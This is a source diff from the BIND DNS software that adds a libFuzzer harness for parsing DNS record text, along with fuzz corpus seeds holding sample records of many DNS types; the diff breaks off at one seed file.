diff --git a/fuzz/dns_qpkey_name.in/562a1a46610aa93786f3e04cf2cd8044eff2a2b4 b/fuzz/dns_qpkey_name.in/562a1a46610aa93786f3e04cf2cd8044eff2a2b4
new file mode 100644
index 0000000000..6db54071c1
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/562a1a46610aa93786f3e04cf2cd8044eff2a2b4 differ
diff --git a/fuzz/dns_qpkey_name.in/62f2b90d4c70b3427355e6fed351855e89a1a97f b/fuzz/dns_qpkey_name.in/62f2b90d4c70b3427355e6fed351855e89a1a97f
new file mode 100644
index 0000000000..0dd49e0c67
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/62f2b90d4c70b3427355e6fed351855e89a1a97f differ
diff --git a/fuzz/dns_qpkey_name.in/70ea4ca2c2211b2b2ee3400c09eac2302031475e b/fuzz/dns_qpkey_name.in/70ea4ca2c2211b2b2ee3400c09eac2302031475e
new file mode 100644
index 0000000000..e44514783c
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/70ea4ca2c2211b2b2ee3400c09eac2302031475e differ
diff --git a/fuzz/dns_qpkey_name.in/824cbc20333bbac1dafb93a3605cea366bb24b2d b/fuzz/dns_qpkey_name.in/824cbc20333bbac1dafb93a3605cea366bb24b2d
new file mode 100644
index 0000000000..e6c7426bd4
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/824cbc20333bbac1dafb93a3605cea366bb24b2d differ
diff --git a/fuzz/dns_qpkey_name.in/9100388c033912183ac53ea771286103eda8c296 b/fuzz/dns_qpkey_name.in/9100388c033912183ac53ea771286103eda8c296
new file mode 100644
index 0000000000..e91fb99b87
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/9100388c033912183ac53ea771286103eda8c296 differ
diff --git a/fuzz/dns_qpkey_name.in/a218f85946b5cf6b60a00c1d4e69dd81ae63fe71 b/fuzz/dns_qpkey_name.in/a218f85946b5cf6b60a00c1d4e69dd81ae63fe71
new file mode 100644
index 0000000000..d0a1b967dc
--- /dev/null
+++ b/fuzz/dns_qpkey_name.in/a218f85946b5cf6b60a00c1d4e69dd81ae63fe71
@@ -0,0 +1 @@
+


























ū
\ No newline at end of file
diff --git a/fuzz/dns_qpkey_name.in/b06bf7d26ac11fde5ab24e77786bd28f89cf661d b/fuzz/dns_qpkey_name.in/b06bf7d26ac11fde5ab24e77786bd28f89cf661d
new file mode 100644
index 0000000000..8eda0a26a1
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/b06bf7d26ac11fde5ab24e77786bd28f89cf661d differ
diff --git a/fuzz/dns_qpkey_name.in/c2580a278455cfa2234b87d19aab87082b1fa5f3 b/fuzz/dns_qpkey_name.in/c2580a278455cfa2234b87d19aab87082b1fa5f3
new file mode 100644
index 0000000000..e42bdf535e
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/c2580a278455cfa2234b87d19aab87082b1fa5f3 differ
diff --git a/fuzz/dns_qpkey_name.in/d0f27368167150098f7e6afee11facff57d39c94 b/fuzz/dns_qpkey_name.in/d0f27368167150098f7e6afee11facff57d39c94
new file mode 100644
index 0000000000..09d2081ba3
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/d0f27368167150098f7e6afee11facff57d39c94 differ
diff --git a/fuzz/dns_qpkey_name.in/e09c3be9a268cf1f3a2118e9c07dac830904ea4f b/fuzz/dns_qpkey_name.in/e09c3be9a268cf1f3a2118e9c07dac830904ea4f
new file mode 100644
index 0000000000..d6dd41072b
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/e09c3be9a268cf1f3a2118e9c07dac830904ea4f differ
diff --git a/fuzz/dns_qpkey_name.in/f22d3ec38bf6cd6cc2776e376e3ec4ceca9fee39 b/fuzz/dns_qpkey_name.in/f22d3ec38bf6cd6cc2776e376e3ec4ceca9fee39
new file mode 100644
index 0000000000..224639a31d
Binary files /dev/null and b/fuzz/dns_qpkey_name.in/f22d3ec38bf6cd6cc2776e376e3ec4ceca9fee39 differ
diff --git a/fuzz/dns_rdata_fromtext.c b/fuzz/dns_rdata_fromtext.c
new file mode 100644
index 0000000000..5c8f1a6970
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.c
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdbool.h>
+#include <stdlib.h>
+
+#include <isc/attributes.h>
+#include <isc/buffer.h>
+#include <isc/commandline.h>
+#include <isc/lex.h>
+#include <isc/mem.h>
+#include <isc/string.h>
+#include <isc/util.h>
+
+#include <dns/fixedname.h>
+#include <dns/name.h>
+#include <dns/rdata.h>
+#include <dns/rdataclass.h>
+#include <dns/rdatatype.h>
+#include <dns/result.h>
+
+#include "fuzz.h"
+
+bool debug = false;
+
+int
+LLVMFuzzerInitialize(int *argc, char ***argv) {
+	UNUSED(argc);
+	UNUSED(argv);
+	return (0);
+}
+
+/* following code was copied from named-rrchecker */
+isc_lexspecials_t specials = { ['('] = 1, [')'] = 1, ['"'] = 1 };
+
+int
+LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+	isc_mem_t *mctx = NULL;
+	isc_mem_create(&mctx);
+
+	isc_lex_t *lex = NULL;
+	isc_token_t token;
+
+	isc_result_t result;
+	unsigned int options = 0;
+	dns_rdatatype_t rdtype;
+	dns_rdataclass_t rdclass;
+
+	char wiredata[64 * 1024];
+	isc_buffer_t wirebuf;
+	isc_buffer_init(&wirebuf, wiredata, sizeof(wiredata));
+
+	dns_rdata_t rdata = DNS_RDATA_INIT;
+	dns_name_t *name = NULL;
+
+	isc_buffer_t inbuf;
+	isc_buffer_constinit(&inbuf, data, size);
+	isc_buffer_add(&inbuf, size);
+	isc_buffer_setactive(&inbuf, size);
+
+	isc_lex_create(mctx, 256, &lex);
+
+	/*
+	 * Set up to lex DNS master file.
+	 */
+	isc_lex_setspecials(lex, specials);
+	options = ISC_LEXOPT_EOL;
+	isc_lex_setcomments(lex, ISC_LEXCOMMENT_DNSMASTERFILE);
+
+	RUNTIME_CHECK(isc_lex_openbuffer(lex, &inbuf) == ISC_R_SUCCESS);
+
+	result = isc_lex_gettoken(lex, options | ISC_LEXOPT_NUMBER, &token);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
+	if (token.type == isc_tokentype_eof) {
+		goto cleanup;
+	}
+	if (token.type == isc_tokentype_eol) {
+		goto cleanup;
+	}
+	/*
+	 * Get class.
+	 */
+	if (token.type == isc_tokentype_number) {
+		if (token.value.as_ulong > 0xffff) {
+			goto cleanup;
+		}
+		rdclass = (dns_rdataclass_t)token.value.as_ulong;
+	} else if (token.type == isc_tokentype_string) {
+		result = dns_rdataclass_fromtext(&rdclass,
+						 &token.value.as_textregion);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup;
+		}
+	} else {
+		goto cleanup;
+	}
+	result = isc_lex_gettoken(lex, options | ISC_LEXOPT_NUMBER, &token);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
+	if (token.type == isc_tokentype_eol) {
+		goto cleanup;
+	}
+	if (token.type == isc_tokentype_eof) {
+		goto cleanup;
+	}
+
+	/*
+	 * Get type.
+	 */
+	if (token.type == isc_tokentype_number) {
+		if (token.value.as_ulong > 0xffff) {
+			goto cleanup;
+		}
+		rdtype = (dns_rdatatype_t)token.value.as_ulong;
+	} else if (token.type == isc_tokentype_string) {
+		result = dns_rdatatype_fromtext(&rdtype,
+						&token.value.as_textregion);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup;
+		}
+	} else {
+		goto cleanup;
+	}
+
+	result = dns_rdata_fromtext(&rdata, rdclass, rdtype, lex, name, 0, mctx,
+				    &wirebuf, NULL);
+	if (debug) {
+		fprintf(stderr, "dns_rdata_fromtext: %s\n",
+			isc_result_totext(result));
+	}
+
+cleanup:
+	isc_lex_close(lex);
+	isc_lex_destroy(&lex);
+	isc_mem_destroy(&mctx);
+	return (0);
+}
diff --git a/fuzz/dns_rdata_fromtext.in/afsdb b/fuzz/dns_rdata_fromtext.in/afsdb
new file mode 100644
index 0000000000..8fec03d3d8
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/afsdb
@@ -0,0 +1 @@
+IN AFSDB	0 hostname
diff --git a/fuzz/dns_rdata_fromtext.in/amtrelay b/fuzz/dns_rdata_fromtext.in/amtrelay
new file mode 100644
index 0000000000..d43121dfaf
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/amtrelay
@@ -0,0 +1 @@
+IN AMTRELAY 0 0 3 example.net.
diff --git a/fuzz/dns_rdata_fromtext.in/any_tsig b/fuzz/dns_rdata_fromtext.in/any_tsig
new file mode 100644
index 0000000000..bcf7fae27d
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/any_tsig
@@ -0,0 +1 @@
+ANY TSIG SAMPLE-ALG.EXAMPLE. 853804800 300 4 MTIzNA== 666 0 2 MDA=
diff --git a/fuzz/dns_rdata_fromtext.in/avc b/fuzz/dns_rdata_fromtext.in/avc
new file mode 100644
index 0000000000..362efcaee2
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/avc
@@ -0,0 +1 @@
+IN AVC	foo:bar
diff --git a/fuzz/dns_rdata_fromtext.in/caa b/fuzz/dns_rdata_fromtext.in/caa
new file mode 100644
index 0000000000..fa09a60ddd
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/caa
@@ -0,0 +1 @@
+IN CAA	128 tbs "Unknown"
diff --git a/fuzz/dns_rdata_fromtext.in/cdnskey b/fuzz/dns_rdata_fromtext.in/cdnskey
new file mode 100644
index 0000000000..0f9fac7354
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/cdnskey
@@ -0,0 +1 @@
+IN CDNSKEY	512 ( 255 1 AQMFD5raczCJHViKtLYhWGz8hMY	9UGRuniJDBzC7w0aRyzWZriO6i2odGWWQVucZqKV	sENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esg	a60zyGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= )
diff --git a/fuzz/dns_rdata_fromtext.in/cds b/fuzz/dns_rdata_fromtext.in/cds
new file mode 100644
index 0000000000..88d6121c2e
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/cds
@@ -0,0 +1 @@
+IN CDS	30795 1 1 (		310D27F4D82C1FC2400704EA9939FE6E1CEA		A3B9 )
diff --git a/fuzz/dns_rdata_fromtext.in/cert b/fuzz/dns_rdata_fromtext.in/cert
new file mode 100644
index 0000000000..669ff44df4
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/cert
@@ -0,0 +1 @@
+IN CERT	65534 65535 254 ( 	MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45I	kskceFGgiWCn/GxHhai6VAuHAoNUz4YoU1t	VfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= )
diff --git a/fuzz/dns_rdata_fromtext.in/ch_a b/fuzz/dns_rdata_fromtext.in/ch_a
new file mode 100644
index 0000000000..bbadbf37aa
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/ch_a
@@ -0,0 +1 @@
+CH A	hostname. 1234
diff --git a/fuzz/dns_rdata_fromtext.in/class1234_type65533 b/fuzz/dns_rdata_fromtext.in/class1234_type65533
new file mode 100644
index 0000000000..ed30fb31f3
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/class1234_type65533
@@ -0,0 +1 @@
+CLASS1234 TYPE65533	\# 6 010203040506
diff --git a/fuzz/dns_rdata_fromtext.in/cname b/fuzz/dns_rdata_fromtext.in/cname
new file mode 100644
index 0000000000..c9e00bf15f
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/cname
@@ -0,0 +1 @@
+IN CNAME	cname-target
diff --git a/fuzz/dns_rdata_fromtext.in/csync b/fuzz/dns_rdata_fromtext.in/csync
new file mode 100644
index 0000000000..8d440f835a
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/csync
@@ -0,0 +1 @@
+IN CSYNC	0 0 A NS AAAA
diff --git a/fuzz/dns_rdata_fromtext.in/dlv b/fuzz/dns_rdata_fromtext.in/dlv
new file mode 100644
index 0000000000..9e39e6f023
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/dlv
@@ -0,0 +1 @@
+IN DLV	30795 1 1 (		310D27F4D82C1FC2400704EA9939FE6E1CEA		A3B9 )
diff --git a/fuzz/dns_rdata_fromtext.in/dname b/fuzz/dns_rdata_fromtext.in/dname
new file mode 100644
index 0000000000..227404320b
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/dname
@@ -0,0 +1 @@
+IN DNAME	dname-target.
diff --git a/fuzz/dns_rdata_fromtext.in/dnskey b/fuzz/dns_rdata_fromtext.in/dnskey
new file mode 100644
index 0000000000..93e85c3081
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/dnskey
@@ -0,0 +1 @@
+IN DNSKEY	512 ( 255 1 AQMFD5raczCJHViKtLYhWGz8hMY	9UGRuniJDBzC7w0aRyzWZriO6i2odGWWQVucZqKV	sENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esg	a60zyGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= )
diff --git a/fuzz/dns_rdata_fromtext.in/doa b/fuzz/dns_rdata_fromtext.in/doa
new file mode 100644
index 0000000000..13b2b9b256
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/doa
@@ -0,0 +1 @@
+IN DOA	0 1 2 "" aHR0cHM6Ly93d3cuaXNjLm9yZy8=
diff --git a/fuzz/dns_rdata_fromtext.in/ds b/fuzz/dns_rdata_fromtext.in/ds
new file mode 100644
index 0000000000..616ae14239
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/ds
@@ -0,0 +1 @@
+IN DS	12892 5 1 7AA4A3F416C2F2391FB7AB0D434F762CD62D1390
diff --git a/fuzz/dns_rdata_fromtext.in/eui48 b/fuzz/dns_rdata_fromtext.in/eui48
new file mode 100644
index 0000000000..9a506bda6f
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/eui48
@@ -0,0 +1 @@
+IN EUI48	01-23-45-67-89-ab
diff --git a/fuzz/dns_rdata_fromtext.in/eui64 b/fuzz/dns_rdata_fromtext.in/eui64
new file mode 100644
index 0000000000..ce06023f54
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/eui64
@@ -0,0 +1 @@
+IN EUI64	01-23-45-67-89-ab-cd-ef
diff --git a/fuzz/dns_rdata_fromtext.in/gid b/fuzz/dns_rdata_fromtext.in/gid
new file mode 100644
index 0000000000..c72ccf986f
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/gid
@@ -0,0 +1 @@
+IN GID	\# 1 03
diff --git a/fuzz/dns_rdata_fromtext.in/gpos b/fuzz/dns_rdata_fromtext.in/gpos
new file mode 100644
index 0000000000..7c4c050dd4
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/gpos
@@ -0,0 +1 @@
+IN GPOS    -22.6882 116.8652 250.0
diff --git a/fuzz/dns_rdata_fromtext.in/hinfo b/fuzz/dns_rdata_fromtext.in/hinfo
new file mode 100644
index 0000000000..c43de49ea3
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/hinfo
@@ -0,0 +1 @@
+IN HINFO	"Generic PC clone" "NetBSD-1.4"
diff --git a/fuzz/dns_rdata_fromtext.in/hip b/fuzz/dns_rdata_fromtext.in/hip
new file mode 100644
index 0000000000..385a522a2c
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/hip
@@ -0,0 +1 @@
+IN HIP	( 2 200100107B1A74DF365639CC39F1D578				AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D )
diff --git a/fuzz/dns_rdata_fromtext.in/hs_a b/fuzz/dns_rdata_fromtext.in/hs_a
new file mode 100644
index 0000000000..4d9da2c438
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/hs_a
@@ -0,0 +1 @@
+HS	A	192.0.2.1
diff --git a/fuzz/dns_rdata_fromtext.in/in_a b/fuzz/dns_rdata_fromtext.in/in_a
new file mode 100644
index 0000000000..f9ffd67355
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_a
@@ -0,0 +1 @@
+IN A	255.255.255.255
diff --git a/fuzz/dns_rdata_fromtext.in/in_a6 b/fuzz/dns_rdata_fromtext.in/in_a6
new file mode 100644
index 0000000000..8e91e2a605
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_a6
@@ -0,0 +1 @@
+IN A6	127 ::1 foo.
diff --git a/fuzz/dns_rdata_fromtext.in/in_aaaa b/fuzz/dns_rdata_fromtext.in/in_aaaa
new file mode 100644
index 0000000000..2341d4f106
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_aaaa
@@ -0,0 +1 @@
+IN AAAA    fd92:7065:b8e:ffff::5
diff --git a/fuzz/dns_rdata_fromtext.in/in_apl b/fuzz/dns_rdata_fromtext.in/in_apl
new file mode 100644
index 0000000000..dc32bd0a35
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_apl
@@ -0,0 +1 @@
+IN APL	!1:10.0.0.1/32 1:10.0.0.0/24
diff --git a/fuzz/dns_rdata_fromtext.in/in_atma b/fuzz/dns_rdata_fromtext.in/in_atma
new file mode 100644
index 0000000000..1febbf4c6d
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_atma
@@ -0,0 +1 @@
+IN ATMA	+61.2.0000.0000
diff --git a/fuzz/dns_rdata_fromtext.in/in_dhcid b/fuzz/dns_rdata_fromtext.in/in_dhcid
new file mode 100644
index 0000000000..0732152980
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_dhcid
@@ -0,0 +1 @@
+IN DHCID	( AAABxLmlskllE0MVjd57zHcWmEH3pCQ6V	  ytcKD//7es/deY= )
diff --git a/fuzz/dns_rdata_fromtext.in/in_eid b/fuzz/dns_rdata_fromtext.in/in_eid
new file mode 100644
index 0000000000..e18f225831
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_eid
@@ -0,0 +1 @@
+IN EID	12 89 AB
diff --git a/fuzz/dns_rdata_fromtext.in/in_kx b/fuzz/dns_rdata_fromtext.in/in_kx
new file mode 100644
index 0000000000..48c0e155b9
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_kx
@@ -0,0 +1 @@
+IN KX	10 kdc
diff --git a/fuzz/dns_rdata_fromtext.in/in_nimloc b/fuzz/dns_rdata_fromtext.in/in_nimloc
new file mode 100644
index 0000000000..41c6f7b502
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_nimloc
@@ -0,0 +1 @@
+IN NIMLOC	12 89 AB
diff --git a/fuzz/dns_rdata_fromtext.in/in_nsap b/fuzz/dns_rdata_fromtext.in/in_nsap
new file mode 100644
index 0000000000..8a7a92705a
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_nsap
@@ -0,0 +1 @@
+IN NSAP  0x47.0005.80.005a00.0000.0001.e133.ffffff000164.00
diff --git a/fuzz/dns_rdata_fromtext.in/in_nsap_ptr b/fuzz/dns_rdata_fromtext.in/in_nsap_ptr
new file mode 100644
index 0000000000..dc683c7470
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_nsap_ptr
@@ -0,0 +1 @@
+IN NSAP-PTR foo.
diff --git a/fuzz/dns_rdata_fromtext.in/in_px b/fuzz/dns_rdata_fromtext.in/in_px
new file mode 100644
index 0000000000..1e6c98b011
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_px
@@ -0,0 +1 @@
+IN PX	65535 foo. bar.
diff --git a/fuzz/dns_rdata_fromtext.in/in_srv b/fuzz/dns_rdata_fromtext.in/in_srv
new file mode 100644
index 0000000000..ed3f929f0e
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_srv
@@ -0,0 +1 @@
+IN SRV	65535 65535 65535  old-slow-box
diff --git a/fuzz/dns_rdata_fromtext.in/in_wks b/fuzz/dns_rdata_fromtext.in/in_wks
new file mode 100644
index 0000000000..a9c96580a7
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/in_wks
@@ -0,0 +1 @@
+IN WKS	10.0.0.1 tcp telnet ftp 0 1 2
diff --git a/fuzz/dns_rdata_fromtext.in/ipseckey b/fuzz/dns_rdata_fromtext.in/ipseckey
new file mode 100644
index 0000000000..14dbb7f442
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/ipseckey
@@ -0,0 +1 @@
+IN IPSECKEY	( 10 3 2		  mygateway.example.com.		  AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ== )
diff --git a/fuzz/dns_rdata_fromtext.in/isdn b/fuzz/dns_rdata_fromtext.in/isdn
new file mode 100644
index 0000000000..c3cc968c18
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/isdn
@@ -0,0 +1 @@
+IN ISDN	"isdn-address" "subaddress"
diff --git a/fuzz/dns_rdata_fromtext.in/key b/fuzz/dns_rdata_fromtext.in/key
new file mode 100644
index 0000000000..91323a8f77
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/key
@@ -0,0 +1 @@
+IN KEY	512 ( 255 1 AQMFD5raczCJHViKtLYhWGz8hMY	9UGRuniJDBzC7w0aRyzWZriO6i2odGWWQVucZqKV	sENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esg	a60zyGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= )
diff --git a/fuzz/dns_rdata_fromtext.in/keydata b/fuzz/dns_rdata_fromtext.in/keydata
new file mode 100644
index 0000000000..b67e3aa6a8
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/keydata
@@ -0,0 +1 @@
+IN KEYDATA 20210101000000 20380101000000 20380101000000 KSK DNSSEC ED448 ZXh0cmE=
diff --git a/fuzz/dns_rdata_fromtext.in/l32 b/fuzz/dns_rdata_fromtext.in/l32
new file mode 100644
index 0000000000..c315e9cea4
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/l32
@@ -0,0 +1 @@
+IN L32	10 1.2.3.4
diff --git a/fuzz/dns_rdata_fromtext.in/l64 b/fuzz/dns_rdata_fromtext.in/l64
new file mode 100644
index 0000000000..673f0a2d4a
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/l64
@@ -0,0 +1 @@
+IN L64	10 0014:4fff:ff20:ee64
diff --git a/fuzz/dns_rdata_fromtext.in/loc b/fuzz/dns_rdata_fromtext.in/loc
new file mode 100644
index 0000000000..413a5a81d8
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/loc
@@ -0,0 +1 @@
+IN LOC 	60 09 00.000 N 24 39 00.000 E 10.00m 20.00m (	  2000.00m 20.00m )
diff --git a/fuzz/dns_rdata_fromtext.in/lp b/fuzz/dns_rdata_fromtext.in/lp
new file mode 100644
index 0000000000..1b21752215
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/lp
@@ -0,0 +1 @@
+IN LP	10 example.net.
diff --git a/fuzz/dns_rdata_fromtext.in/mb b/fuzz/dns_rdata_fromtext.in/mb
new file mode 100644
index 0000000000..adc9470a3b
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/mb
@@ -0,0 +1 @@
+IN MB madname.
diff --git a/fuzz/dns_rdata_fromtext.in/md b/fuzz/dns_rdata_fromtext.in/md
new file mode 100644
index 0000000000..f6996e028a
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/md
@@ -0,0 +1 @@
+IN MD	madname
diff --git a/fuzz/dns_rdata_fromtext.in/mf b/fuzz/dns_rdata_fromtext.in/mf
new file mode 100644
index 0000000000..3dc3bc206e
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/mf
@@ -0,0 +1 @@
+IN MF	madname
diff --git a/fuzz/dns_rdata_fromtext.in/mg b/fuzz/dns_rdata_fromtext.in/mg
new file mode 100644
index 0000000000..83ff2bc2f2
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/mg
@@ -0,0 +1 @@
+IN MG	mgmname
diff --git a/fuzz/dns_rdata_fromtext.in/minfo b/fuzz/dns_rdata_fromtext.in/minfo
new file mode 100644
index 0000000000..e64d9253c0
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/minfo
@@ -0,0 +1 @@
+IN MINFO	rmailbx emailbx
diff --git a/fuzz/dns_rdata_fromtext.in/mr b/fuzz/dns_rdata_fromtext.in/mr
new file mode 100644
index 0000000000..ca058b8124
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/mr
@@ -0,0 +1 @@
+IN MR	mrname
diff --git a/fuzz/dns_rdata_fromtext.in/mx b/fuzz/dns_rdata_fromtext.in/mx
new file mode 100644
index 0000000000..3d1dcdbf7f
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/mx
@@ -0,0 +1 @@
+IN MX	10 mail
diff --git a/fuzz/dns_rdata_fromtext.in/naptr b/fuzz/dns_rdata_fromtext.in/naptr
new file mode 100644
index 0000000000..248960098c
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/naptr
@@ -0,0 +1 @@
+IN NAPTR   65535 65535 "blurgh" "blorf" "blllbb" foo.
diff --git a/fuzz/dns_rdata_fromtext.in/nid b/fuzz/dns_rdata_fromtext.in/nid
new file mode 100644
index 0000000000..f011125ae9
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/nid
@@ -0,0 +1 @@
+IN NID	10 0014:4fff:ff20:ee64
diff --git a/fuzz/dns_rdata_fromtext.in/ninfo b/fuzz/dns_rdata_fromtext.in/ninfo
new file mode 100644
index 0000000000..4d58d28a70
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/ninfo
@@ -0,0 +1 @@
+IN NINFO	"foo\032bar"
diff --git a/fuzz/dns_rdata_fromtext.in/ns b/fuzz/dns_rdata_fromtext.in/ns
new file mode 100644
index 0000000000..da0bca2d4f
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/ns
@@ -0,0 +1 @@
+IN NS	ns43
diff --git a/fuzz/dns_rdata_fromtext.in/nsec b/fuzz/dns_rdata_fromtext.in/nsec
new file mode 100644
index 0000000000..8cbd1e8c34
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/nsec
@@ -0,0 +1 @@
+IN NSEC	a.secure.nil. ( NS SOA MX RRSIG DNSKEY LOC NSEC )
diff --git a/fuzz/dns_rdata_fromtext.in/nsec3 b/fuzz/dns_rdata_fromtext.in/nsec3
new file mode 100644
index 0000000000..bc615a115d
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/nsec3
@@ -0,0 +1 @@
+IN NSEC3 1 0 10 D2CF0294C020CE6C 8FPNS2UCT7FBS643THP2B77PEQ77K6IU  A NS SOA MX AAAA RRSIG DNSKEY NSEC3PARAM
diff --git a/fuzz/dns_rdata_fromtext.in/nsec3param b/fuzz/dns_rdata_fromtext.in/nsec3param
new file mode 100644
index 0000000000..414f44ddf3
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/nsec3param
@@ -0,0 +1 @@
+IN NSEC3PARAM 1 0 1 868BCF7ED4108929
diff --git a/fuzz/dns_rdata_fromtext.in/null b/fuzz/dns_rdata_fromtext.in/null
new file mode 100644
index 0000000000..bebe069638
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/null
@@ -0,0 +1 @@
+IN NULL
diff --git a/fuzz/dns_rdata_fromtext.in/nxt b/fuzz/dns_rdata_fromtext.in/nxt
new file mode 100644
index 0000000000..9f4d243a49
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/nxt
@@ -0,0 +1 @@
+IN NXT	a.secure.nil. ( NS SOA MX RRSIG KEY LOC NXT )
diff --git a/fuzz/dns_rdata_fromtext.in/openpgpkey b/fuzz/dns_rdata_fromtext.in/openpgpkey
new file mode 100644
index 0000000000..4c99b65b72
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/openpgpkey
@@ -0,0 +1 @@
+IN OPENPGPKEY	( AQMFD5raczCJHViKtLYhWGz8hMY	9UGRuniJDBzC7w0aRyzWZriO6i2odGWWQVucZqKV	sENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esg	a60zyGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= )
diff --git a/fuzz/dns_rdata_fromtext.in/opt b/fuzz/dns_rdata_fromtext.in/opt
new file mode 100644
index 0000000000..b391304bda
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/opt
@@ -0,0 +1 @@
+ANY OPT unsupported
diff --git a/fuzz/dns_rdata_fromtext.in/ptr b/fuzz/dns_rdata_fromtext.in/ptr
new file mode 100644
index 0000000000..040dc3b3bb
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/ptr
@@ -0,0 +1 @@
+IN PTR	@
diff --git a/fuzz/dns_rdata_fromtext.in/rkey b/fuzz/dns_rdata_fromtext.in/rkey
new file mode 100644
index 0000000000..fc59f3ac7a
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/rkey
@@ -0,0 +1 @@
